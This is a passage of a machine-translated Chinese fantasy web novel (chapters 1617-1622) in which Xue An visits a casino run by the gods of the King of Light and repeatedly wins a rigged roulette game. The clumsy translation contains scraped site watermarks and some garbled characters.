    Although there is no physical limitation, An Yan still takes a long inhalation, and then bitterly said: "You big villain, you know you bully me all day long!"


    Xue An smiled triumphantly, and then swept An Yan over, "How is it, what happened to bullying you?"


    An Yan twisted slightly, and she comfortably nestled in Xue An''s arms.


    Only after a while, An Yan whispered softly: "Husband!"


    "Ok?"


    "Why do you have to let this girl follow? Isn''t that too dangerous?"


    An Yan is talking about Luolan Pavilion.


    Xue An smiled upon hearing this, "Because this incident is inherently inseparable from her, and I always have a hunch that she will be a very important person in this matter!"


    "Husband, who is the old acquaintance you mentioned?"


    "He! He is a funny guy who reads !"


    "Oh!" An Yan was silent for a while, and then suddenly said: "In such a dark and messy place, it would be very hard for Mengxue to be here alone!"


    Xue An also remained silent for a moment, and then whispered softly: "Yes! But this is the road she chose, and the road to the Dark King is destined to be lonely, so she can only bear it alone!"


    An Yan couldn''t help feeling a little sad when he heard the words, and lightly leaned her head on Xue An''s chest.


    "Husband, Mengxue is really not easy! You have to help her more!"


    "Hmm! I will!"


    Just as the two were enjoying this warm atmosphere.


    The space in front of him suddenly showed two vague lights and shadows, and then the sound of thinking and thinking came out of them.


    Of course, the fatter one is Nian Nian.


    And the one that is higher is to think about it.

 Chapter 1617： Roulette of Fortune

    This is also closely related to their mental maturity.


    "Hey, what are mom and dad doing?" Niannian asked curiously.


    "Shhh, my father is whispering while holding my mother!" Think about it in response.


    An Yan was so scared that An Yan immediately broke free from Xue An''s arms, and then tried to calm down: "Why did you two also come out?"


    "Hehe! Dad, what are you whispering to your mother?" Nian Nian didn''t answer An Yan''s words, but instead asked Xue An curiously.


    No matter how thick-skinned, but the two daughters witnessed the scene just now, Xue An still looked embarrassed and coughed, "No...nothing! By the way, your mother asked why you came out?"


    "It was the ball that sent the two of us out!" Think about it.


    As he said, the koi ball showed its shape, and then wagged its tail at Xue An to please.


    Now with its gradual evolution, its many functions have begun to appear.


    For example, although Anyan''s transformation is largely due to his own credit, it would be difficult for Anyan to break through the boundaries of Fubao Xiaolou without its help.


    And the two little girls are naturally the same, but they can''t send and receive like An Yan.


    Even the length of stay is limited.


    Like now.


    The light and shadow representing the two little girls began to shake.


    "Oh Dad, we are going to be broken! Help us!" Nian Nian shouted with some fear.


    Xue An was a little bit dumbfounded, but still sternly said: "Okay, don''t be so nonsense in the future! Although you say that it won''t hurt your body, but you are still young, once mentally damaged, it is also very troublesome!"


    After all, he waved his hand and safely sent the two little girls back to Fu Bao Xiaolou.


    at the same time.


    The sound of footsteps from outside the door.


    An Yan nodded at Xue An, "Husband, you have to be more careful!"


    "Well! Don''t worry! I have my own measures!"


    Now An Yan is already full of trust in Xue An. No matter what he does, An Yan silently supports him behind his back, never saying anything else.


    Now after hearing Xue An''s promise, An Yan nodded, then spread out and returned to the Fubao Xiaolou.


    At this moment, the door of the room was gently pushed open, and Luo Lanting walked into the room and bowed solemnly.


    "My lord, it has been processed, shall we go now?"


    Xue An nodded, "Okay! Leave now!"


    The God King of Guangming always felt that he was a little frightened today, but he didn''t know what went wrong.


    "Strange, how does this feel so familiar?" The King of Light frowned.


    There was no sound in the huge temple.


    And through the dome of the temple, you can actually see the prosperous scene of the upper city.


    Compared with this, the bottom level under the feet seems very deserted.


    Huge temples of light were scattered in the meantime, becoming the most conspicuous place in the city.


    "The accumulation of faith is still too slow!" The King of Light sighed lightly, stood up, walked off the tall throne, and then walked to a secret room behind the temple.


    In the middle of the secret room, a huge roulette was placed impressively.


    On the roulette, the brilliance is lingering, and it is constantly running.


    And each brilliance may represent hundreds of millions of creatures.


    Roulette of fortune.


    An extremely magnificent creation, but also the most important divine object in the hands of the King of Light.


    But on the wheel of fortune, there are several patches.


    These patches are like ugly scars, so incompatible with the harmonious and beautiful roulette lines.


    Not only that, when the originally smooth deduction reaches these patches, it will become very dry.


    That feeling is really uncomfortable and want to vomit blood.


    Although a long time has passed, after seeing the scarred wheel of fortune, the King of Light still showed regret in his eyes.


    This divine object, which he regarded as the root of his life, was shattered together with the destruction of his own son on earth. (See the battle of the Bright Church above for details)


    Whenever I think of it, it still hurts my heart.


    Moreover, the reason why the King of Light abandoned such a lofty position and rushed to this lost paradise with the entire kingdom of God was also inseparable from the things on earth.


    Now it seems that I don��t know if this matter is right or wrong!


    Although his divine power has made great progress, he has also lost his dignity as a **** king, and he can only be a small mountain king in this level.


    Only the God King of Light knew what it was like.


    Thinking of this, the King of Brightness sighed quietly, and then lifted his spirits, leaving all these distracting thoughts behind.


    Today he always felt a little frightened, but he couldn''t find the specific reason, so he came to this wheel of fortune and tried to deduct it.


    The light divine power stretched out and merged with this wheel of fortune.


    In the secret room, the bright masterpiece, countless dense stars-like trajectories are constantly rotating, deducing the result that the King of Light needs.


    I don''t know how long it took.


    at last.


    A thin and upright figure appeared in the void.


    The King of Light was shocked, and he always felt that the figure in front of him was very familiar.


    This couldn''t help making him swallow his saliva subconsciously, and then once again increased the input power.


    The deduction was accelerated again, and then the figure in the void began to slowly turn around.


    The moment I saw this person''s face.


    The King of Light was struck by lightning and screamed, "You..."


    at the same time.


    Seeing this figure smile at the King of Light, "A prying eyes from destiny? It''s really an interesting... toy!"


    Words fall.


    The figure suddenly dissipated, and then he heard waves of explosions coming from the wheel of fortune.


    Numerous fine cracks emerged on the surface of the wheel of fortune, and then burst open one after another.


    In an instant, this wheel of fortune was blown to pieces.


    Only the few patches left fell to the ground, making a crisp sound.


    The King of Light stood there blankly, his face full of shock and horror.


    Because the figure just brought back all his memories he can be sure that this person is the one who killed his **** son on the earth and forced him to stay far away.


    "How... how is it possible! How could he come here?" The King of Light murmured softly.


    Suddenly, he remembered something, and looked down at the wheel of fortune that had been broken to the ground. The expression on his face was sometimes blue and white, and his lips were trembling.


    "Why... it''s broken again!"


    Then he suddenly yelled up to the sky, "Do you really think I''m still the **** of light before? I am now countless times stronger, so no matter who you are, I will kill you!"


    at the same time.


    Xue An, who was rushing to the fourth-tier city where the bottom rank was located, suddenly flashed his eyes, and then chuckled softly.


    "My lord! What are you laughing at?"


    "Oh! It''s nothing, I just suddenly felt that some people are really pitiful!"

 Chapter 1618： Bright Casino

    Frano was standing in front of the casino door, whispering to his companions.


    "I really hate to stand guard in front of the door! Because it''s so stupid! Could anyone else dare to come here to make trouble?"


    His companion was naturally a guard, and after hearing what Frano said, the guard shrugged.


    "Well, since the above sent us to stand guard, let''s stand! It''s better than the guys in Paladon. I heard that they have not rested for two days and two nights, and they are taking control of the city!"


    Flano was gloating when he heard the words, "This is simply the best news I''ve heard recently. I can''t help but want to laugh when I think that Palladon is so unlucky!"


    The guard chuckled and did not speak.


    But Flano obviously refused to let it go. He looked around and saw that everything was calm as usual, so he approached with a mysterious face and asked in a low voice.


    "Hey, you said that Lord God King suddenly ordered martial law throughout the city this time, and asked us to pay close attention to the people who have recently entered the city, especially the human youths. What do you want to do? Could it be...Is there something big going on? ?"


    Seeing the curiosity on Frano''s face, the guard''s expression became serious.


    "Frano, there are some things you should ask, and don''t ask if you shouldn''t. How can we guess what God King wants to do?"


    Flano was said to be scornful, "Isn''t I curious!"


    "It''s best to swallow your curiosity into your stomach, otherwise no one can save you if something happens!"


    "Okay, okay! Can''t I get it! It''s boring!"


    Frano grumbled and turned back to his post, but he was still very curious.


    Because just the day before yesterday, Lord God King suddenly issued two decrees, one is to close the entire city and prohibit people from entering or leaving.


    The second is to carry out a large-scale search of the whole city, focusing on the human youth who is weak at the young age.


    As soon as these two orders came out, the whole city was a little furious.


    Many guards turned the whole city upside down, but they didn''t find the person mentioned by Lord God King.


    But the atmosphere has not eased, instead, it has become more tense.


    Even these casinos dedicated to the enjoyment of the gods have increased their protection levels.


    Frano was sent to stand guard in front of the casino under this situation.


    For him who has been lazy, this kind of work can be described as extremely boring.


    That��s why he complained


    But after being scolded by his companions, he could only put these dissatisfaction in his heart.


    Just when Flano was secretly slandering himself.


    From the darkness in the distance of the street, two people walked out slowly.


    When someone saw someone, Flano and the other guard were shocked.


    Because just before these two figures appeared, they clearly felt that the whole street was empty.


    But almost in the blink of an eye, these two men appeared out of thin air.


    Such a strange scene naturally made the two of them feel very tight.


    "Who?" Flano shouted sharply.


    No one responded, the two figures were still walking unhurriedly in the darkness.


    Flano and his companion looked at each other, and they both saw the solemn color in each other''s eyes, and then the guard nodded slightly at Flano.


    Flano understood that this was for himself to go in and deliver the letter, so he turned and left.


    But at this moment, the two figures walked out of the darkness and came into the light.


    Walking in front is a teenager in white, and behind him is a black-clothed double ponytail loli.


    Such a combination, even in such a quiet and solemn night, still gives people a pleasing feeling.


    But the two of Flano didn''t feel the slightest pleasing feeling at all. On the contrary, their eyes were all opened to the fullest, and their bodies trembled slightly.


    Because this young man is the one that Lord God King personally ordered to find!


    This is a big deal!


    When the two of Flano were frightened, Xue An slowly stopped, his eyes swept over the two of them, and then smiled slightly.


    "Excuse me, is this the Guangming Grand Casino?"


    The two of them were stiff and could hardly speak.


    However, Flano saw the opportunity faster, took the lead in regaining consciousness, and then nodded frantically.


    "Yes, it is!"


    "Thank you!" Xue An nodded and smiled, then stepped into the casino.


    Both Frano were struggling.


    They are sent here to stand guard, and it can be said that everyone who enters the casino needs their consent.


    And now this boy in white is naturally not allowed to be put in.


    But if they want to stop, Flano dare not.


    Because although the white-clothed boy in front of him looked mediocre, his eyes were deep and chilling.


    When they were uncertain, Xue Anye had already walked in front of them.


    Flano''s companion gritted his teeth secretly, and if Xue An were allowed to enter in this way, then the two of them would not end well.


    So he took a step forward and tried to stop Xue An.


    But at this moment, Xue An raised his eyes and glanced at him lightly.


    It was just such an understatement that caused the guard to stagger back several steps like a lightning strike, then fell to his knees with a thump, and could no longer get up.


    hiss!


    Seeing such a scene, Flano took a breath, and the last trace of luck in his heart disappeared.


    That''s it! Now the two of them are dead!


    Just as Frano lamented in his heart.


    But seeing Xue An continuing to walk in without looking back, he ignored them at all.


    Until he had reached the door, Xue Anfang said lightly: "If I were you, I should have run as far as possible now. After all... the city tonight will be very restless!"


    After all, Xue An pushed the door and walked in, and Luo Lanting followed him and disappeared in the corridor behind the door.


    The two of Flano stared blankly, and after a while, Flano shuddered.


    Then he looked at his companion.


    It happened that the guard also looked at Frano, the two looked at each other, and then said one word in unison.


    "go!"


    After saying a word, the two immediately stood up, not even daring to look back, and flew away directly.


    Bright Grand Casino!


    The name is full of irony After all, light is always a more positive word, and casinos are often accompanied by darkness.


    When the two are combined, it naturally gives people a funny and almost magical feeling.


    But the name is so appropriate.


    Because those who can enter and exit this casino are all gods in the Kingdom of Light!


    That''s right!


    It is the bright gods under the command of the King of Light!


    Does it sound ridiculous?


    Gods can also gamble.


    But this is true.


    In fact, when the King of Light moved the entire kingdom of God to Paradise Lost, these gods quickly degenerated and corrupted at an astonishing speed.

 Chapter 1619： 1 stud

    In just a few years, casinos under the name of the temple have blossomed all over the city.


    Although these gods were hypocritical before, at least they could maintain a trace of decentness.


    But after waiting here, even the last trace of disguise was completely torn apart.


    All the gods became drunk, dreaming, and wandering.


    As the King of Light, who is in charge of everything, he turned a blind eye to this phenomenon, and he didn''t care about it at all.


    Under this indulgence, the situation intensified and finally became what it is now.


    This Guangming Grand Casino can be called the largest casino in the city. The layout inside is extremely luxurious, and the huge lobby is full of various gambling equipment.


    The guards and many low-level gods are gambling here.


    If you don''t remind you, you might even think that you are back in the gambling city on earth.


    It''s just that the people sitting around the gaming table are no longer people, but gods.


    Such an almost magical scene also made Luo Lanting a little dumbfounded.


    Although she was born in Paradise Lost, she had never seen such a scene, and couldn''t help asking softly: "My lord...this..."


    Xue An smiled slightly, "Are you surprised?"


    Luo Lanting nodded, "A little bit!"


    Then she looked around unnaturally, lowered her voice and asked: "And I really don''t understand, why should we come here first?"


    "Don''t worry, you will know why later!"


    Having said that, Xue An stepped towards the nearest gaming table, and at the same time said lightly: "Since it''s here, let''s play two games!"


    Here is a brief introduction. Although this casino is very similar to a casino on earth, there are still significant differences in many places.


    The main difference is these gambling tools.


    These gambling tools in Bright Casino are special props with supernatural powers.


    After all, casinos on the earth are facing ordinary people, and here are all gods!


    If you do not use special gambling equipment, then gambling loses its meaning.


    For example, the table where Xue An is now, although it looks like a roulette on the earth, in fact its structure is thousands of times more complicated, and it is shielded by a unique spiritual shield to prevent someone from passing the cultivation base. Or God''s will to cheat.


    And because of the excitement and uncertainty of this gambling method, it attracted a large number of low-level gods and guards to linger here.


    When Xue An''s face appeared in the crowd, it naturally attracted the attention of many people.


    But because everyone was gambling at the moment, people just glanced at it and then ignored it.


    After all, those who can appear here should not be outsiders.


    Xue Anxian watched quietly for a while, and waited until the new round was about to begin.


    With a wave of his hand, a spar fell into a designated area.


    The spar exudes a faint halo, it is a very high-grade bright spar.


    Seeing this scene, many people looked at Xue An in surprise.


    But no one said anything.


    quickly.


    The roulette slowly opened, and everyone''s mood began to fluctuate with the rotation of the roulette.


    "Stop it!"


    These shouts came one after another, and were extremely noisy.


    Only Xue stood quietly among the crowd, his complexion as calm as water, without any expression at all.


    at last.


    The roulette slowly stopped, and the pointer suddenly pointed to a number.


    Those who bought them were happy, those who didn''t buy them were unwilling.


    Xue An was naturally hit.


    So one spar became ten.


    Several people nearby looked at Xue An enviously, wondering how this young boy had such good luck.


    Xue An also didn''t speak, even without blinking his eyelids, he threw the ten spars out again, squeezing a number.


    This aroused a lot of curious eyes.


    A middle-aged man standing behind the gaming table also glanced at Xue An with a sharp gaze.


    After seeing just an ordinary teenager, he narrowed his gaze and waved at his hand.


    Roulette continues.


    This time the shout was louder than before.


    It seems that people want to vent all their dissatisfaction.


    But in the end, the roulette still slowly stopped before the numbers.


    boom!


    There was a great uproar in the audience, and then many eyes turned towards Xue An.


    Because this time Xue An was hit again.


    At this time, ten spars became one hundred.


    This is already a fortune.


    Many people looked at Xue An enviously, wondering where this white-clothed boy came from, how could there be such good luck?


    The middle-aged man was also slightly surprised, and then took a deep look at Xue An.


    Xue An was still expressionless. When a hundred spars were delivered to him, he didn''t even look at it, and he waved it out again.


    The audience was silent.


    If Xue An only attracted a small part of attention before, then he has become the focus of everyone.


    After all, such a big bet is rare in this hall.


    The waiter in charge of starting the roulette looked at the middle-aged man with some embarrassment.


    The middle-aged man pondered for a moment, then nodded.


    The roulette is on again.


    This time the shout was much lower.


    People watched intently and wanted to know the final result.


    This time the roulette rotation seemed to be longer than before, but it finally stopped slowly.


    The moment the pointer completely stopped, there was an uproar in the field.


    "The Lord God King is here, he actually won again!"


    "This is a thousand crystal stones, this is a lot of wealth!"


    "Tsk tusk, who is this guy? How could there be such good luck?"


    In these comments, the middle-aged man''s complexion became a little ugly.


    A thousand spar is indeed a considerable number, but he is not yet moved by it.


    The key is that this boy in white clothes won from one spar to a thousand, and it took less than one stick of incense in total.


    Three hands, one hundred percent winning rate, and it''s still roulette.


    This is a bit weird.


    So he kept staring at Xue An, trying to retrieve this person''s information from his mind.


    Unfortunately, he found nothing.


    At this time.


    One thousand spars have been allocated to Xue An ~ www.novelhall.com~ and a small mountain bag is piled up in front of him.


    Xue An looked at the dazzling spar, and gently ran his fingers across the top, a playful look appeared in his eyes.


    Then, he folded his hands and pushed the thousand crystal stones forward, all of which were placed in the area of ??a number.


    The audience fell silent for an instant.


    Many people have their mouths wide open, looking at this scene in disbelief.


    That''s a thousand spars!


    Is that a stud?


    The middle-aged man was even more startled, and then looked at Xue An with a gloomy expression.


    "Friend, are you betting so hard?"


    Xue An smiled slightly, "Is it ruthless? I don''t think so!"

 Chapter 1620： 1 big bet

    The middle-aged man stared at Xue An deeply, and then personally started to spin the roulette.


    Of course this roulette is tricky!


    In fact, the gambling equipment in the entire casino basically has hidden doors.


    At least Xue An could tell at a glance.


    But he did not make any movements, still standing at the table and watching quietly.


    The roulette turned quickly, and it also affected the hearts of everyone in the audience.


    After all, this is a huge amount of gambling!


    at last.


    The roulette gradually stopped, everyone watching extremely nervously, only Xue An was still full of indifferent color.


    It seems that none of this is related to him.


    The middle-aged man couldn''t help but sneer secretly.


    Either this guy is a young man who has never seen the world, or he is a strong man in the city.


    But from now on, the former is very likely.


    After all, no one can be so indifferent in this situation, without even looking at it.


    This is not in line with common sense at all, it can only prove that he is pretending.


    But whether he looks at it or doesn''t look at it, he will lose this time.


    Because the middle-aged man has already used that secret door to ensure that no matter who it is, he will lose even his pants.


    But when he was full of confidence, the roulette gradually stopped.


    The atmosphere of the audience rose accordingly.


    Hearing people''s louder than one yelling, the middle-aged man couldn''t help looking down, and then all the complacency on his face froze.


    Because with the stagnation of the roulette, the pointer is gradually rushing towards the number Xue An bought.


    How could this be?


    This is absolutely impossible!


    The middle-aged man''s eyes almost stared out.


    You must know that the moment he started the roulette, he had secretly used the back door, and it stands to reason that this would never happen now.


    But the truth is ruthless.


    Seeing that the pointer stayed tremblingly before the number Xue An bought, there was a violent commotion in the audience.


    "Gosh, he won again!"


    "This is impossible! From the beginning to the present, he has won four in a row, and it is completely impossible in terms of probability!"


    "Ten Thousand Light Crystals... If this were mine, how good would it be!"


    All of a sudden, there was a lot of discussion, and the roof was almost lifted.


    Xue An still had an indifferent expression, just raised his eyes and glanced at the pale, cold sweaty middle-aged man on his forehead, and then smiled slightly.


    "Sorry, I seem to have won again!"


    The middle-aged man''s lips moved. He wanted to say something, but he couldn''t even say a word.


    Because he really didn''t understand what method Xue An used to win himself.


    He obviously used the back door!


    Why do you still lose?


    Just as he looked at Xue An dumbfounded and puzzled.


    A burst of clear applause came from a distance, and then a cold female voice said: "Okay! What a great gambling technique!"


    Following the voice, the crowd split a passage in an instant, and then saw a woman stepping out of the middle, her gorgeous face full of cold smiles.


    Seeing this woman, the middle-aged man couldn''t help letting out a sigh, then bowed his head deeply.


    "Second Miss, this..."


    The visitor was the second daughter of the King of Light, Sally.


    Seeing her face full of coldness, she didn''t even glance at the middle-aged man, and said coldly: "Okay, I saw it all! What a useless thing, get out!"


    The middle-aged man bowed like a pardon, "Yes!"


    Then he respectfully retreated behind Sally.


    With the arrival of Sally, the audience was even more silent.


    No one dared to speak, and even the timid had retreated far away, not even daring to raise his head.


    Sally ignored the gazes of the people around, she walked straight to the gaming table.


    The person who was in charge of the roulette before immediately stepped aside.


    Then Sally stood opposite Xue An and smiled slightly.


    "This lord came from afar, and Guangming Casino was unable to welcome it far. I''m really sorry!"


    Xue An raised his eyes slightly, took a look at this Sally, and then said non-committal: "Why? Has someone changed?"


    Sally''s smile did not change, "The adults bet too much, and they are no longer able to handle them, so naturally I have to play!"


    Xue An nodded, "So, will you be able to take it next?"


    As soon as this statement came out, many people standing behind Sally changed slightly, and some even looked at Xue An with incomparably piercing eyes.


    You must know that Sally is the second daughter of the King of Light. Such a noble birth destined her to be no ordinary person.


    In fact, no one dared to talk to her like this before, and Xue An was the first one.


    These guards are naturally full of anger, just about to break out.


    Sally waved casually to stop the group of eager men behind him, and then looked at Xue An with a cold smile.


    "Of course, I will bear all the next bets!"


    "Oh, is it?" Xue An raised his eyebrows slightly.


    "of course!"


    "Unfortunately, I''m afraid you can''t afford it!" Xue An shook his head.


    Sally''s face changed slightly, and her tone became colder, "How can I know if I can afford it without trying?"


    Xue An smiled faintly, "You seem to be unconvinced?"


    Sally snorted, and then said meaningfully: "My lord, although I don''t know where you are from, I have something to tell you. In this land, no one can be my bright The opponent of the family!"


    "I mean, anyone!"


    Sally''s words implied threat.


    Xue An didn''t seem to understand, and smiled faintly, "It sounds great, but I just don''t believe in evil, so this time...I''m still stud!"


    After all, Xue An slammed his hands, and Xue An pushed the 100,000 spirit crystals directly into a digital area.


    When everyone saw this number, they couldn''t help but exclaimed.


    Because of this number, it is 1!


    You know that in roulette, the first and last numbers are the most difficult to appear.


    Especially the first one!


    It is a rare encounter in a century.


    Under normal circumstances, no one bet on this number at all ~ www.novelhall.com~ so the odds of this number are also the highest, reaching fifty times the odds.


    But even so, no one was betting on this number, because the hope was simply too slim.


    Now Xue An shot a full 10,000 spars on 1!


    This also means that if he wins, he will reap half a million spars.


    And if he loses, not only will he lose everything, but he will even take his own life.


    Therefore, after a commotion in the audience, it gradually became silent.


    Sally was also taken aback, Xuan even looked deeply at Xue An opposite, trying to see some clues from his expression.


    But she failed.


    On Xue An''s face, apart from a faint smile, there was no extra expression, as if the ten thousand spirit crystals pushed out were not his eyes at all, and he didn''t even blink his eyelids.

 Chapter 1621： No change in color

    This can''t help making Sally''s heart shrink gradually.


    Could it be... this guy really has any secret tricks that people don''t know, can control the roulette?


    Do not! This is impossible!


    Because this roulette was made under the supervision of his own father, no one can play tricks on it.


    It can be seen that this guy is clearly playing mystery.


    Thinking of this, Sally couldn''t help showing an inscrutable smile on her face, and then softly admired.


    "Good! Regardless of victory or defeat, your boldness alone is enough to be admirable!"


    Xue An was non-committal, just smiled, and then sat in a chair beside him in his spare time, and said lightly: "Stop talking nonsense, let''s get started!"


    The eyes of the audience instantly focused on Sally again.


    She took a deep breath, and then a solemn color appeared in her eyes.


    After all, this time is different.


    But his own hands carry the honor of the entire Bright Casino.


    So she put her hands on the roulette with a sinking face, and suddenly shouted.


    "open!"


    With that, her palm pressed hard.


    The roulette began to spin quickly.


    at the same time.


    Sally directly used the highest authority to use the back door of this roulette.


    I have to say that she played very beautifully.


    Even concealed from everyone present.


    Only the middle-aged man standing behind Sally saw the clue, and then there was excitement in his eyes.


    He can be sure that under the control of this back door, Xue An will definitely lose this time.


    It seems that it must be the second lady!


    If I were to be replaced by me, it is estimated that I would have been showing my feet now! The middle-aged man sighed secretly in his heart.


    Sally looked even more triumphant. She first looked at the fast-spinning roulette, and then condescendingly looked down at Xue An, speaking with sarcasm.


    "My friend, what do you think the result will be this time?"


    Xue An retracted his gaze from the roulette, then raised his head and smiled at Sally.


    "What do you think?"


    "Hehe, I think my friend, you seem to have lost this time! After all, the 1 on roulette is extremely difficult to appear 1"


    Xue An shook his head, "You are wrong, I think I will definitely be able to drive 1 this time!"


    "Oh?" Sally sneered in her heart. Now that this roulette has been fully incorporated into her jurisdiction, she said stop and stop, how could there be a result of 1?


    "Don''t you believe it?"


    "of course!"


    "That''s good! I can prove it to you!" Xue An shrugged and said lightly.


    The ease in the words made Sally shocked, and even self-doubt at one point.


    Could this guy really control the roulette?


    Do not!


    Never will!


    Sally denied her thoughts in an instant.


    In her opinion, this is absolutely impossible.


    But at this moment, the speed of the roulette gradually slowed down.


    Everyone held their breath and wanted to see the final result.


    at last.


    In this highly anticipated situation, the roulette is spinning more and more slowly.


    The pointer also crossed the numbers.


    27, 28, 29...


    In the end, the pointer finally slowly crossed 32 and came before 1.


    Sally''s eyes widened instantly.


    But just when the pointer was about to stop, suddenly, a force of unknown origin caused the pointer to rotate two squares forward with difficulty, and finally stayed on top of 3.


    boom!


    There was a commotion in the audience.


    The corner of Sally''s mouth raised, showing a sneer, and she wanted to say something to Xue Angang.


    But at this moment, I saw that the roulette that had been slowly stopped suddenly seemed to be backed by two squares because of some inertia, and finally stayed on top of 1, and didn''t move anymore.


    Uh����.


    The people who were about to cheer instantly opened their mouths, and all the words were stuck in their throats. They couldn''t even say a word, only a few chuckles remained.


    Sally almost bit her tongue, staring at the scene in front of her with dumbfounded eyes.


    At the same time, Xue An smiled slightly.


    "Sorry, I seem... I won again!"


    Sally raised her head blankly to look at Xue An, her eyes gradually cold.


    The guard behind her took a step forward, ready to do something.


    But at this moment, Sally raised her hand to stop everyone behind her, and then said hoarsely: "Redeem it to him!"


    "Second Miss!" The middle-aged man was shocked, just about to dissuade him.


    Sally gritted her teeth and said: "Didn''t you hear what I said? I said exchange it to him!"


    "Yes!" The middle-aged man trembled all over, and he could only wink the hand behind him with a pale face.


    quickly.


    Five hundred thousand spirit crystals were sent over.


    Of course, many of them are higher-level spirit crystals, which can be exchanged.


    Otherwise, even if the casino is emptied, it is impossible to gather so many spirit crystals in such a short period of time.


    Even so, so many spirit crystals still filled up most of the table.


    Xue An was sitting on the chair behind, almost drowning his whole person.


    At this time, the entire Bright Casino was a sensation.


    No matter it was the people in the lobby or the box, they were all startled by this incident, and gathered in the distance to discuss with their heads.


    But no matter how many people were onlookers, Xue An was very deserted behind him, and there was not even a person watching the excitement.


    Because everyone was afraid of being missed by Bright Casino because of this incident, it was natural to hide how far away from Xue An.


    Xue An glanced at the spirit crystals in front of him with a smile, and then nodded.


    "Unexpectedly, the second lady is still a believer! Five hundred thousand spirit crystals are not a small number, and they would have been redeemed when they said they were redeemed!"


    Sally''s face was pale, staring at Xue An with cold eyes.


    "My friend, you have won so much, please come down with a reward!"


    Huh!


    Everyone pricked their ears and listened quietly.


    Everyone wants to know who this boy in white clothes who didn''t know where he came out is.


    Xue An also laughed when he heard this, "It stands to reason that I should tell you who I am, but it is a pity that you don''t deserve to know based on your identity!"


    boom!


    As soon as this remark came out, the audience was silent.


    Because this is no longer hitting Sally''s face This is obviously just stepping Sally''s head into the mud and stomping on the ball!


    really.


    Sally''s complexion became ashen as she stared at Xue An, "Did you ever consider the consequences when you said this?"


    "Consequence?" Xue An smiled slightly, then stood up abruptly, lightly patted the 500,000 spiritual crystals in front of him, and said lightly.


    "Since you ask me, then I will tell you what the real consequences are!"


    "Five hundred thousand spirit crystals and a stud, continue to buy...1!"


    What is the concept of 500,000 spiritual crystals?


    For example, if all the light power of a **** guard is extracted, it can condense a hundred light crystals.


    On the other hand, a low-level **** has a thousand pieces, a medium-sized one ten thousand pieces... and so on!


    And half a million spirit crystals are equivalent to the power of a higher **** with the blood of a **** king.

 Chapter 1622： Trying to reconcile

    note!


    It''s all power!


    In other words, once so many spirit crystals were condensed, this **** would not be far from falling.


    In this comparison, you also know how amazing Xue An''s current handwriting is.


    Because if he wins again this time, he will win 250 billion spirit crystals.


    This number is even greater than the sum of all the gods in the entire Guangming Kingdom.


    At that time, let alone the Bright Casino, it would not be enough to pay the entire Bright Kingdom to others.


    Therefore, when Xue An shouted out these words, everyone knew that today''s things would not be good anymore.


    The faint-hearted had already begun to retreat quietly, but Sally had previously ordered that the entire Bright Casino be completely sealed off, so they couldn''t leave here either.


    Sally''s eyes suddenly became sharper than the point of a needle, staring at Xue An, and after a long while, she slowly exhaled.


    "It seems that my friend insisted on betting to the end today?"


    Xue An shrugged, "Why? Can such a big casino still not be able to take up this gambling game?"


    Sally took a deep look at Xue An, then nodded, "I can accept it, of course I can accept it!"


    Xue An smiled, "What else to say? Let''s get started!"


    Sally''s face was green.


    at the same time.


    People with cold expressions began to emerge from the crowd, and then quietly stood behind Xue An.


    The atmosphere in the casino lobby became more solemn.


    The miscellaneous people hid in the corner, looking pale at everything that happened in the distance.


    "Okay! Let''s start!" Sally said lightly, and then she waved the roulette.


    She didn''t use any backdoors this time, she didn''t even look at the roulette wheel, and her eyes never left Xue An from beginning to end.


    Because in her opinion, no matter what the result is, the young man in white in front of him will definitely die.


    What''s more, she doesn''t believe that this roulette can appear twice in a row 1!


    Because in terms of probability, it is simply impossible!


    As for cheating...


    Sally had checked it many times, but she didn''t find anything unusual.


    Not to mention divine thoughts, even a trace of unnecessary fluctuations was not felt.


    This also strengthened Sally''s idea.


    Unexpectedly, when the roulette gradually stopped spinning, the pointer suddenly pointed to 1 again!


    At this time, everyone''s eyes widened.


    No one can believe this is true.


    Xue An smiled in his spare time, "I''m sorry, I won again, this time it is 250 billion spirit crystals!"


    Sally was startled first, and then angrily pointed at Xue An, "Grab him, he will give a thousand!"


    Give an order.


    These subordinates swarmed up, and the fierce and vicious wanted to cut this young man who didn''t know where to jump out to the sword.


    But just when their attack was launched, Xue An, who was sitting on the chair, suddenly disappeared.


    When he appeared again, he had already come to Sally.


    Sally shocked all over and immediately stepped back.


    Her response was not unpleasant.


    But she is fast, Xue An is faster.


    But seeing Xue An suddenly raised his hand, he grabbed Sally''s neck and yelled softly: "Stop it!"


    For an instant, even a needle could be heard quietly in the hall.


    Everyone opened their mouths wide and looked at Xue An with horror.


    No one would have thought that Xue An would grab the second lady so neatly.


    And if the second young lady has three long and two short in Xue An''s hands, none of these people will want to live.


    At this point, many people couldn''t help but begin to tremble.


    Sally looked at Xue An in disbelief and wanted to say something, but because she was restricted by Xue An, she couldn''t say anything. She could only look at Xue An with resentment.


    Xue An didn''t care about this at all, and saw him lightly said: "You can really calm down! Could it be that you have to let me kill your daughter before you will show up?"


    Who is he talking to?


    This question could not help but surface in everyone''s mind.


    Sally''s eyes widened gradually, because she saw a figure gradually appearing in the void behind Xue An.


    Immediately afterwards, I heard this figure sigh softly, "So you already knew I was here!"


    Xue An loosened the hand holding Sally, patted his palm lightly, and then turned around and smiled at the figure.


    "Of course, I have actually felt that you are here since I stepped into this city! Right? The King of Light!"


    what?


    This illusory ball of light is the King of Light?


    Everyone was horrified.


    He heard a sigh from the ball of light.


    "Sure enough, you can''t hide it!"


    Following the voice, there was a virtual image rising out of thin air above the ball of light, and it was the King of Light.


    To be exact, it is a clone of him.


    I saw this avatar of the King of Light cast a deep gaze at Xue An, and then sighed softly: "What on earth do you want to do?"


    Xue An smiled, "Didn''t you see it? I have won a few before. I wish to accept the bet. You gods can''t go wrong!"


    "You are clearly out!" Sally rubbed her neck and shouted in dissatisfaction.


    "Oh? Do you have evidence?"


    Sally was taken aback when asked.


    She did not have any evidence to prove that Xue An was out of thousands.


    "If there is no evidence, please shut up! Okay?" Xue An said lightly.


    Sally closed her mouth unwillingly.


    The avatar of King Guangming suddenly said: "If I say this, if I honor my bet, can you leave?"


    "You can think about it, but you have to think about it, it''s 250 billion Lingjing!" Xue An said lightly.


    Unexpectedly, the avatar of the King of Light replied without hesitation: "I have considered it clearly. As long as you can expose this matter, I will immediately give away the spirit crystal!"


    In fact, as far as the King of Light is concerned, no matter how cruel he was before, it would be best if Xue An, Grandpa Killing God, could be sent away!


    After all, the shadow that Xue An left on the earth at the beginning was too big, and he still can''t think of it even now.


    Xue An laughed after hearing thisYou seem to be scared! "


